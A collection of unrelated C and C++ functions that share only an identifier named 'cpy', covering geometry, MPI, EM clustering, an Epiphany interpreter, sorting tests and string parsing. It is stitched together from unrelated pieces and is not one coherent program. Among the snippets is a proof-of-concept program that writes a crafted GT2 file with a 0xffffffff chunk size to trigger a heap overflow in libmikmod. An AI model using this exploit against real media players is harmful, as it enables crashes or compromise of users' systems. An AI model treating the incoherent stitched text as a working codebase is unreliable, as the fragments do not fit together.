/* * Copies a polygon struct. * * Also allows to create transformed copies of the struct Polygon by using a * function that copies the points. * * @param Polygon * pl Pointer to the polygon to be copied. * @param void * cpy A pointer to a function to transform the coords. * @param int holes Whether or not to also copy the holes. * * @return Polygon * A pointer to the copied polygon. * */ Polygon * pl_copy(const Polygon * pl, void (*cpy)(vec dest, const vec src), const int holes) { assert(pl); Polygon * cp= (Polygon *)malloc(sizeof(Polygon)); assert(cp); memcpy(cp, pl, sizeof(Polygon)); cp->points= (PolyVert *)malloc(pl->size * sizeof(PolyVert)); assert(cp->points); uint i; if (cpy){ for (i= 0; i < pl->last; i++){ cpy(cp->points[i].co, pl->points[i].co); cp->points[i].flags = pl->points[i].flags; } cpy(cp->bb.min, pl->bb.min); cpy(cp->bb.max, pl->bb.max); } else{ memcpy(cp->points, pl->points, pl->last * sizeof(PolyVert)); // min & max have already been copied by memcpy. } cp->holes = (holes) ? pll_copy(pl->holes, cpy) : NULL; return cp; }
//分割された領域をまとめる. static dcomplex* unifyToRank0(dcomplex *phi) { SubFieldInfo_S subInfo_s = field_getSubFieldInfo_S(); FieldInfo_S fInfo_s = field_getFieldInfo_S(); //マスターにすべて集める if(subInfo_s.Rank == 0) { MPI_Status status; dcomplex *entire = newDComplex(fInfo_s.N_CELL); cpy(entire, phi, subInfo_s.OFFSET_X, subInfo_s.OFFSET_Y, subInfo_s.OFFSET_Z); dcomplex *tmp = newDComplex(subInfo_s.SUB_N_CELL); int offset[3]; for(int i=1; i<subInfo_s.Nproc; i++) { MPI_Recv(offset, 3, MPI_INT, i, 0, MPI_COMM_WORLD, &status); MPI_Recv(tmp, subInfo_s.SUB_N_CELL, MPI_C_DOUBLE_COMPLEX, i, 0, MPI_COMM_WORLD, &status); cpy(entire, tmp, offset[0], offset[1], offset[2]); } free(tmp); return entire; } else { int offset[3]; offset[0] = subInfo_s.OFFSET_X; offset[1] = subInfo_s.OFFSET_Y; offset[2] = subInfo_s.OFFSET_Z; MPI_Send(offset, 3, MPI_INT, 0, 0, MPI_COMM_WORLD); MPI_Send(phi, subInfo_s.SUB_N_CELL, MPI_C_DOUBLE_COMPLEX, 0, 0, MPI_COMM_WORLD); return NULL; //マスター以外はNULLを返す. } }
/** * Called when running on the host, this performs some maths operation */ struct value_defn performMathsOp(unsigned short operation, struct value_defn value) { struct value_defn result; result.dtype=SCALAR; if (operation== RANDOM_MATHS_OP) { result.type=INT_TYPE; int r=rand(); cpy(result.data, &r, sizeof(int)); } else { float fvalue, r; if (value.type==REAL_TYPE) { fvalue=*((float*) value.data); } else if (value.type==INT_TYPE) { fvalue=(float) *((int*) value.data); } result.type=REAL_TYPE; if (operation==SQRT_MATHS_OP) r=sqrtf(fvalue); if (operation==SIN_MATHS_OP) r=sinf(fvalue); if (operation==COS_MATHS_OP) r=cosf(fvalue); if (operation==TAN_MATHS_OP) r=tanf(fvalue); if (operation==ASIN_MATHS_OP) r=asinf(fvalue); if (operation==ACOS_MATHS_OP) r=acosf(fvalue); if (operation==ATAN_MATHS_OP) r=atanf(fvalue); if (operation==SINH_MATHS_OP) r=sinhf(fvalue); if (operation==COSH_MATHS_OP) r=coshf(fvalue); if (operation==TANH_MATHS_OP) r=tanhf(fvalue); if (operation==FLOOR_MATHS_OP) r=floorf(fvalue); if (operation==CEIL_MATHS_OP) r=ceilf(fvalue); if (operation==LOG_MATHS_OP) r=logf(fvalue); if (operation==LOG10_MATHS_OP) r=log10f(fvalue); cpy(result.data, &r, sizeof(float)); } return result; }
int shortems(int n,int p,int nclass,double *pi,double **X,double **Mu, double **LTSigma,int maxshortiter,double shorteps) { /*initializing as per Beiernacki, Celeaux, Govaert~(2003) */ int i,iter,totiter=0; double *oldpi,**oldMu,**oldLTSigma,oldllh=-Inf,llhval; MAKE_VECTOR(oldpi,nclass); MAKE_MATRIX(oldMu,nclass,p); MAKE_MATRIX(oldLTSigma,nclass,p*(p+1)/2); do { /* Modified by Wei-Chen Chen on 2009/03/08. i=randomEMinit(X,n,p,nclass,oldpi,oldMu,oldLTSigma); i = mb_randomEMinit(X, n, p, nclass, oldpi, oldMu, oldLTSigma); */ i = randomEMinit(X, n, p, nclass, oldpi, oldMu, oldLTSigma); iter=maxshortiter-totiter; iter=shortemcluster(n,p,nclass,oldpi,X,oldMu,oldLTSigma,iter,shorteps, &llhval); if (llhval >= oldllh) { int i; oldllh=llhval; cpy(oldMu,nclass,p,Mu); cpy(oldLTSigma,nclass,p*(p+1)/2,LTSigma); for(i=0;i<nclass;i++) pi[i]=oldpi[i]; } totiter+=iter; } while (totiter < maxshortiter); FREE_MATRIX(oldMu); FREE_MATRIX(oldLTSigma); FREE_VECTOR(oldpi); return totiter; }
/* shortems() for model-based initializer. */ void shortems_mb(int n,int p,int nclass,double *pi,double **X,double **Mu, double **LTSigma,int maxshortiter,double shorteps){ int i, iter, totiter = 0, n_par = p * (p + 1) / 2; double *oldpi, **oldMu, **oldLTSigma, oldllh = -Inf, llhval; MAKE_VECTOR(oldpi, nclass); MAKE_MATRIX(oldMu, nclass, p); MAKE_MATRIX(oldLTSigma, nclass, n_par); do{ mb_init(X, n, p, nclass, oldpi, oldMu, oldLTSigma); iter = maxshortiter - totiter; iter = shortemcluster(n, p, nclass, oldpi, X, oldMu, oldLTSigma, iter, shorteps, &llhval); if(llhval >= oldllh){ oldllh = llhval; cpy(oldMu, nclass, p, Mu); cpy(oldLTSigma, nclass, n_par, LTSigma); for(i = 0; i < nclass; i++) pi[i] = oldpi[i]; } totiter += iter; } while(totiter < maxshortiter); FREE_MATRIX(oldMu); FREE_MATRIX(oldLTSigma); FREE_VECTOR(oldpi); } /* End of shortems_mb(). */
static unsigned int handleLet(char * assembled, unsigned int currentPoint, unsigned int length, char restrictNoAlias, int threadId) { #else static unsigned int handleLet(char * assembled, unsigned int currentPoint, unsigned int length, char restrictNoAlias) { #endif unsigned short varId=getUShort(&assembled[currentPoint]); currentPoint+=sizeof(unsigned short); #ifdef HOST_INTERPRETER struct symbol_node* variableSymbol=getVariableSymbol(varId, fnLevel[threadId], threadId, 1); struct value_defn value=getExpressionValue(assembled, ¤tPoint, length, threadId); if (restrictNoAlias && getVariableSymbol(varId, fnLevel[threadId], threadId, 0)->state==ALIAS) return currentPoint; #else struct symbol_node* variableSymbol=getVariableSymbol(varId, fnLevel, 1); struct value_defn value=getExpressionValue(assembled, ¤tPoint, length); if (restrictNoAlias && getVariableSymbol(varId, fnLevel, 0)->state==ALIAS) return currentPoint; #endif variableSymbol->value.type=value.type; variableSymbol->value.dtype=value.dtype; if (value.dtype == ARRAY) { cpy(variableSymbol->value.data, value.data, sizeof(char*)); } else if (value.type == STRING_TYPE) { cpy(&variableSymbol->value.data, &value.data, sizeof(char*)); } else { int currentAddress=getInt(variableSymbol->value.data); if (currentAddress == 0) { char * address=getStackMemory(sizeof(int), 0); cpy(variableSymbol->value.data, &address, sizeof(char*)); cpy(address, value.data, sizeof(int)); } else { setVariableValue(variableSymbol, value, -1); } } return currentPoint; }
int eliminate_nonconformities(MeshType const & input, MeshType & output) { int counter = 0; viennagrid::element_copy_map<double> cpy(output, eps, false); typedef viennagrid::result_of::vertex_range<MeshType>::type VertexRange; typedef viennagrid::result_of::iterator<VertexRange>::type VertexIterator; typedef viennagrid::result_of::element_range<MeshType, 1>::type EdgeRange; typedef viennagrid::result_of::iterator<EdgeRange>::type EdgeIterator; EdgeRange edges(input); VertexRange vertices(input); for (EdgeIterator eit = edges.begin(); eit != edges.end(); ++eit) { bool found = false; for (VertexIterator vit = vertices.begin(); vit != vertices.end(); ++vit) { if ( (*vit == viennagrid::vertices(*eit)[0]) || (*vit == viennagrid::vertices(*eit)[1]) ) continue; if (viennagrid::is_inside(*eit, viennagrid::get_point(*vit), eps)) { ++counter; found = true; ElementType ev0 = cpy(viennagrid::vertices(*eit)[0]); ElementType ev1 = cpy(viennagrid::vertices(*eit)[1]); ElementType v = cpy(*vit); try { viennagrid::make_line(output, ev0, v); } catch (...) {} try { viennagrid::make_line(output, v, ev1); } catch (...) {} } } if (!found) { try { cpy(*eit); } catch (...) {} } } return counter; }
/** * Copies some string into shared memory and sets the location in the data core area */ static int copyStringToSharedMemoryAndSetLocation(char * string, int start) { int len=slength(string)+1; char* ptr=sharedData->core_ctrl[myId].shared_data_start + sharedDataEntries; cpy(ptr, string, len); cpy(&sharedData->core_ctrl[myId].data[start], &sharedDataEntries, sizeof(unsigned int)); sharedDataEntries+=len; return len; }
int main(int argc, char *argv[]) { FILE *fd; gt2_t gt2; int i; char *fname; setbuf(stdout, NULL); fputs("\n" "libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files "VER"\n" "by Luigi Auriemma\n" "e-mail: [email protected]\n" "web: aluigi.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s <output_file.GT2>\n" "\n", argv[0]); exit(1); } fname = argv[1]; printf("- create file %s\n", fname); fd = fopen(fname, "wb"); if(!fd) std_err(); gt2.gt2[0] = 'G'; gt2.gt2[1] = 'T'; gt2.gt2[2] = '2'; gt2.version = 4; gt2.chunk_size = 0; // unused cpy(gt2.module, "module_name"); cpy(gt2.comments, "author"); gt2.date_day = 1; gt2.date_month = 1; gt2.date_year = 2006; cpy(gt2.tracker, "tracker"); gt2.speed = 6; gt2.tempo = 300; gt2.volume = 0; gt2.voices = 0; printf("- write GT2 header\n"); fwrite(>2, sizeof(gt2), 1, fd); for(i = 0; i < gt2.voices; i++) fwi16(fd, 0); printf("- build the XCOM header for exploiting the heap overflow\n"); fwmem(fd, "XCOM", 4); fwi32(fd, 0); // unused fwi32(fd, 0xffffffff); // bug here, 0xffffffff + 1 = 0 fwstr(fd, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); fclose(fd); printf("- finished\n"); return(0); }
static void sendDataToHostProcess(struct value_defn to_send, int hostProcessTarget) { cpy(sharedData->core_ctrl[myId].data, &hostProcessTarget, 4); sharedData->core_ctrl[myId].data[5]=to_send.type; cpy(&sharedData->core_ctrl[myId].data[6], to_send.data, 4); unsigned int pb=sharedData->core_ctrl[myId].core_busy; sharedData->core_ctrl[myId].core_command=5; sharedData->core_ctrl[myId].core_busy=0; while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { } }
void test_heapsort (size_t N) { int status; double *orig = (double *) malloc (N * sizeof (double)); double *data = (double *) malloc (N * sizeof (double)); size_t *p = (size_t *) malloc (N * sizeof(size_t)); initialize (orig, N); /* Already sorted */ cpy (data, orig, N); status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl); status |= pcheck (p, data, orig, N); gsl_test (status, "indexing array, n = %u, ordered", N); gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl); status = check (data, orig, N); gsl_test (status, "sorting, array, n = %u, ordered", N); /* Reverse the data */ cpy (data, orig, N); reverse (data, N); status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl); status |= pcheck (p, data, orig, N); gsl_test (status, "indexing array, n = %u, reversed", N); gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl); status = check (data, orig, N); gsl_test (status, "sorting, array, n = %u, reversed", N); /* Perform some shuffling */ cpy (data, orig, N); randomize (data, N); status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl); status |= pcheck (p, data, orig, N); gsl_test (status, "indexing array, n = %u, randomized", N); gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl); status = check (data, orig, N); gsl_test (status, "sorting, array, n = %u, randomized", N); free (orig); free (data); free (p); }
int main(int argc, char ** argv) { cpy("abcdefghijklmnopqrstuvwxyz", buffer, 27); if (strcmp(buffer, "abcdefghijklmnopqrstuvwxyz") != 0) exit(1); cpy(buffer, buffer+3, 26-3); if (strcmp(buffer, "abcabcdefghijklmnopqrstuvw") != 0) exit(1); cpy("abcdefghijklmnopqrstuvwxyz", buffer, 27); cpy(buffer+3, buffer, 26-3); if (strcmp(buffer, "defghijklmnopqrstuvwxyzxyz") != 0) exit(1); exit(0); }
static struct value_defn recvDataFromHostProcess(int hostSource) { struct value_defn to_recv; cpy(sharedData->core_ctrl[myId].data, &hostSource, 4); unsigned int pb=sharedData->core_ctrl[myId].core_busy; sharedData->core_ctrl[myId].core_command=6; sharedData->core_ctrl[myId].core_busy=0; while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { } to_recv.type=sharedData->core_ctrl[myId].data[5]; cpy(to_recv.data, &sharedData->core_ctrl[myId].data[6], 4); to_recv.dtype=SCALAR; return to_recv; }
int ss_shortems(int n, int p, int nclass, double *pi, double **X, double **Mu, double **LTSigma, int maxshortiter, double shorteps, int *lab, int labK){ /*initializing as per Beiernacki, Celeaux, Govaert~(2003) */ int i, j, iter, totiter = 0, n_par = p * (p + 1) / 2; int nonlab_total = 0, lab_index[n]; double *oldpi, **oldMu, **oldLTSigma, oldllh = -Inf, llhval; double **labMu; MAKE_VECTOR(oldpi, nclass); MAKE_MATRIX(oldMu, nclass, p); MAKE_MATRIX(oldLTSigma, nclass, n_par); MAKE_MATRIX(labMu, labK, p); for(i = 0; i < n; i++){ if(lab[i] == -1) lab_index[nonlab_total++] = i; } labInitMus(n, p, labK, X, lab, labMu); do{ for(i = 0; i < labK; i++){ for(j = 0; j < p; j++) oldMu[i][j] = labMu[i][j]; } iter = maxshortiter - totiter; /* Modified by Wei-Chen Chen on 2009/03/08. ss_randomEMinit(X, n, p, nclass, oldpi, oldMu, oldLTSigma, lab, labK, nonlab_total, lab_index); ss_mb_randomEMinit(X, n, p, nclass, oldpi, oldMu, oldLTSigma, lab, labK, nonlab_total, lab_index); */ ss_randomEMinit(X, n, p, nclass, oldpi, oldMu, oldLTSigma, lab, labK, nonlab_total, lab_index); iter = ss_shortemcluster(n, p, nclass, oldpi, X, oldMu, oldLTSigma, iter, shorteps, &llhval, lab); if(llhval >= oldllh){ int i; oldllh = llhval; cpy(oldMu, nclass, p, Mu); cpy(oldLTSigma, nclass, n_par, LTSigma); for(i = 0; i < nclass; i++) pi[i] = oldpi[i]; } totiter += iter; } while(totiter < maxshortiter); FREE_MATRIX(oldMu); FREE_MATRIX(oldLTSigma); FREE_VECTOR(oldpi); FREE_MATRIX(labMu); return totiter; } /* End of ss_shortems(). */
static void sendDataToHostProcess(struct value_defn to_send, int target, int threadId) { volatile unsigned char communication_data[6]; communication_data[0]=to_send.type; cpy(&communication_data[1], to_send.data, 4); syncValues[threadId][target]=syncValues[threadId][target]==255 ? 0 : syncValues[threadId][target]+1; communication_data[5]=syncValues[threadId][target]; char * remoteMemory=(char*) sharedComm[target] + (threadId*6); cpy(remoteMemory, communication_data, 6); syncValues[threadId][target]=syncValues[threadId][target]==255 ? 0 : syncValues[threadId][target]+1; while (communication_data[5] != syncValues[threadId][target]) { cpy(communication_data, remoteMemory, 6); } }
static struct value_defn sendRecvDataWithHostProcess(struct value_defn to_send, int hostProcessTarget) { struct value_defn receivedData; cpy(sharedData->core_ctrl[myId].data, &hostProcessTarget, 4); sharedData->core_ctrl[myId].data[5]=to_send.type; cpy(&sharedData->core_ctrl[myId].data[6], to_send.data, 4); unsigned int pb=sharedData->core_ctrl[myId].core_busy; sharedData->core_ctrl[myId].core_command=7; sharedData->core_ctrl[myId].core_busy=0; while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { } receivedData.type=sharedData->core_ctrl[myId].data[11]; cpy(receivedData.data, &sharedData->core_ctrl[myId].data[12], 4); receivedData.dtype=SCALAR; return receivedData; }
int shortemcluster(int n, int p, int k, double *pi, double **X, double **Mu, double **LTSigma, int maxiter, double eps, double *llhdval, int *conv_iter, double *conv_eps){ int iter, i, n_par = p * (p + 1) / 2; double *backup_pi, **backup_Mu, **backup_LTSigma; double **gamm, llhd, oldllhd, llh0; MAKE_VECTOR(backup_pi, k); MAKE_MATRIX(backup_Mu, k, p); MAKE_MATRIX(backup_LTSigma, k, n_par); MAKE_MATRIX(gamm, n, k); estep_gamma(n, p, k, X, gamm, Mu, LTSigma); llhd = lnlikelihood_gamma(n, k, gamm, pi); llh0 = llhd; iter = 0; do{ oldllhd = llhd; norm_gamma(n, k, gamm, pi); for(i = 0; i < k; i++) backup_pi[i] = pi[i]; cpy(Mu, k, p, backup_Mu); cpy(LTSigma, k, n_par, backup_LTSigma); mstep(X, n, p, k, pi, Mu, LTSigma, gamm); estep_gamma(n, p, k, X, gamm, Mu, LTSigma); llhd = lnlikelihood_gamma(n, k, gamm, pi); if(oldllhd > llhd){ for(i = 0; i < k; i++) pi[i] = backup_pi[i]; cpy(backup_Mu, k, p, Mu); cpy(backup_LTSigma, k, n_par, LTSigma); llhd = oldllhd; iter--; break; } iter++; *conv_eps = fabs((oldllhd - llhd) / (llh0 - llhd)); } while((*conv_eps > eps) && (iter < maxiter)); *llhdval = llhd; *conv_iter = iter; FREE_VECTOR(backup_pi); FREE_MATRIX(backup_Mu); FREE_MATRIX(backup_LTSigma); FREE_MATRIX(gamm); return iter; }
cmp(char s[80],char t[80]) { char string[80]; int i=0; for(i=0; i<80&&t[i]; i++) if(s[i]>t[i]) { cpy(string,s); cpy(s,t); cpy(t,string); break; } else if (s[i]<t[i]) break; printf("%s %s\n",s,t); }
main () { FILE *fin = fopen ("transform.in", "r"); FILE *fout = fopen ("transform.out", "w"); int a, b; int i,j,k; char ln[10]; fscanf (fin, "%d", &nt); for(i=0;i<nt;i++){ fscanf(fin, "%s", ln); for(j=0;j<nt;j++)pbf[i][j]=ln[j]; } for(i=0;i<nt;i++){ fscanf(fin, "%s", ln); for(j=0;j<nt;j++)pt[i][j]=paf[i][j]=ln[j]; } for(k=1;k<4;k++){ cpy(); rot90(k); if(ide()){ fprintf (fout, "%d\n", k);exit(0); } } cpy(); ref(); if(ide()){ fprintf (fout, "%d\n", 4);exit(0); } for(k=1;k<4;k++){ cpy(); ref(); rot90(k); if(ide()){ fprintf (fout, "%d\n", 5);exit(0); } } cpy(); if(ide()){ fprintf (fout, "%d\n", 6);exit(0); } fprintf (fout, "%d\n", 7); exit (0); }
gcBuff::gcBuff(const char* src, uint32 size) { m_cBuff = new char[size]; m_uiSize = size; cpy(src, size); }
Image& Image::operator=(const Image& param) { if(this == ¶m) return *(this); else return cpy(param); }
static struct value_defn recvDataFromHostProcess(int source, int threadId) { struct value_defn to_recv; volatile unsigned char communication_data[6]; cpy(communication_data, sharedComm[threadId] + (source*6), 6); syncValues[threadId][source]=syncValues[threadId][source]==255 ? 0 : syncValues[threadId][source]+1; while (communication_data[5] != syncValues[threadId][source]) { cpy(communication_data, sharedComm[threadId] + (source*6), 6); } syncValues[threadId][source]=syncValues[threadId][source]==255 ? 0 : syncValues[threadId][source]+1; communication_data[5]=syncValues[threadId][source]; cpy(sharedComm[threadId] + (source*6), communication_data, 6); to_recv.type=communication_data[0]; cpy(to_recv.data, &communication_data[1], 4); to_recv.dtype=SCALAR; return to_recv; }
void Text::clearLastChar() { if (length() == 0) return; string[length() - 1] = '\0'; cpy(string); }
unsigned int Water::AddFlow(const DirectionalWaterArgs& args) { assert(maxFlows > 0); //Create a copy of the arguments so that any invalid uniform values can be changed. DirectionalWaterArgs cpy(args); if (cpy.Flow == Vector2f()) { cpy.Flow = Vector2f(0.001f, 0.0f); } if (cpy.Period <= 0.0f) { cpy.Period = 0.001f; } //Update tracking values. unsigned int flowID = nextFlowID; nextFlowID += 1; unsigned int index = currentFlowIndex; currentFlowIndex += 1; currentFlowIndex %= maxFlows; //Set the uniforms. f_a_p[index] = Vector4f(cpy.Flow.x, cpy.Flow.y, cpy.Amplitude, cpy.Period); tsc[index] = cpy.TimeSinceCreated; return flowID; }
void Tuple::fill(const std::string& str) { std::string cpy(str); boost::algorithm::trim(cpy); std::vector < std::string > result; boost::algorithm::split(result, cpy, boost::algorithm::is_any_of(" \n\t\r")); for (std::vector < std::string >::iterator it = result.begin(); it != result.end(); ++it) { boost::algorithm::trim(*it); if (not (*it).empty()) { try { m_value.push_back(boost::lexical_cast < double >(*it)); } catch(const boost::bad_lexical_cast& e) { try { m_value.push_back(boost::lexical_cast < long >(*it)); } catch(const boost::bad_lexical_cast& e) { throw utils::ArgError(fmt( "Can not convert string '%1%' into" " double or long") % (*it)); } } } } }
void mv(char *pathSource, char *destinyPath) { char *copyName = (char*)mallocFS(mystrlen(getData(pathSource))); copyName = getData(getPathName(getData(pathSource), 2)); cpy(pathSource, destinyPath, copyName); rm(pathSource); }
/** * Core entry point, sets the stuff up and then runs the interpreter */ int main() { myId=e_group_config.core_row * e_group_config.group_cols + e_group_config.core_col; sharedData=(void*) (e_emem_config.base + EXTERNAL_MEM_ABSOLUTE_START); while (sharedData->core_ctrl[myId].core_run == 0) {}; sharedData->core_ctrl[myId].core_busy=1; sharedData->core_ctrl[myId].core_run=1; int i; lowestCoreId=TOTAL_CORES; for (i=0;i<TOTAL_CORES;i++) { syncValues[i]=0; if (sharedData->core_ctrl[i].active) { if (i< lowestCoreId) lowestCoreId=i; } } init_barrier(syncbarriers, sync_tgt_bars); init_barrier(collectivebarriers, collective_tgt_bars); if (sharedData->codeOnCores) { cpy(sharedData->edata, sharedData->esdata, sharedData->length); } syncCores(0); runIntepreter(sharedData->edata, sharedData->length, sharedData->symbol_size, myId, sharedData->num_procs, sharedData->baseHostPid); sharedData->core_ctrl[myId].core_busy=0; sharedData->core_ctrl[myId].core_run=0; return 0; }
void Tuple::fill(const std::string& str) { std::string cpy(str); boost::algorithm::trim(cpy); std::vector<std::string> result; boost::algorithm::split( result, cpy, boost::algorithm::is_any_of(" \n\t\r")); for (auto& elem : result) { boost::algorithm::trim(elem); if (not(elem).empty()) { try { m_value.push_back(boost::lexical_cast<double>(elem)); } catch (const boost::bad_lexical_cast& e) { try { m_value.push_back(boost::lexical_cast<long>(elem)); } catch (const boost::bad_lexical_cast& e) { throw vle::utils::ArgError( (fmt("Can not convert string '%1%' into" " double or long") % (elem)) .str()); } } } } }
int main(int argc, char **argv) { listenSocket = socket(AF_INET,SOCK_STREAM,0); KeyGen(&public, &private); strcpy(IP, argv[1]); char * buf; buf = strdup(argv[2]); char filename[50]; char chat_msg[50]; char * returncode; bzero(filename, 50); filename[0] = 'k'; // Send Public Key filename[1] = '\0'; sprintf(filename+1, "%lld:", public.public_key.e); sprintf(filename+strlen(filename), "%lld\0", public.public_key.n); printf("Key generated: %s\n", filename); sendMsg(filename, 0); bzero(filename, 50); cpy(filename+1, buf); filename[0] = 'd'; // Get File initDownload(filename); return 0; }
/** * Actually gets the input from the user and puts this in the appropriate data area */ static struct value_defn performGetInputFromUser(char * toDisplay, int threadId) { struct value_defn v; v.dtype=SCALAR; char inputvalue[1000]; if (toDisplay != NULL) { printf("[host %d] %s", threadId, toDisplay); } else { printf("host %d> ", threadId); } scanf("%[^\n]", inputvalue); int inputType=getTypeOfInput(inputvalue); if (inputType==INT_TYPE) { v.type=INT_TYPE; *((int*) v.data)=atoi(inputvalue); } else if (inputType==REAL_TYPE) { v.type=REAL_TYPE; *((float*) v.data)=atof(inputvalue); } else { v.type=STRING_TYPE; char * newString=(char*) malloc(strlen(inputvalue)+1); strcpy(newString, inputvalue); cpy(&v.data, &newString, sizeof(char*)); } return v; }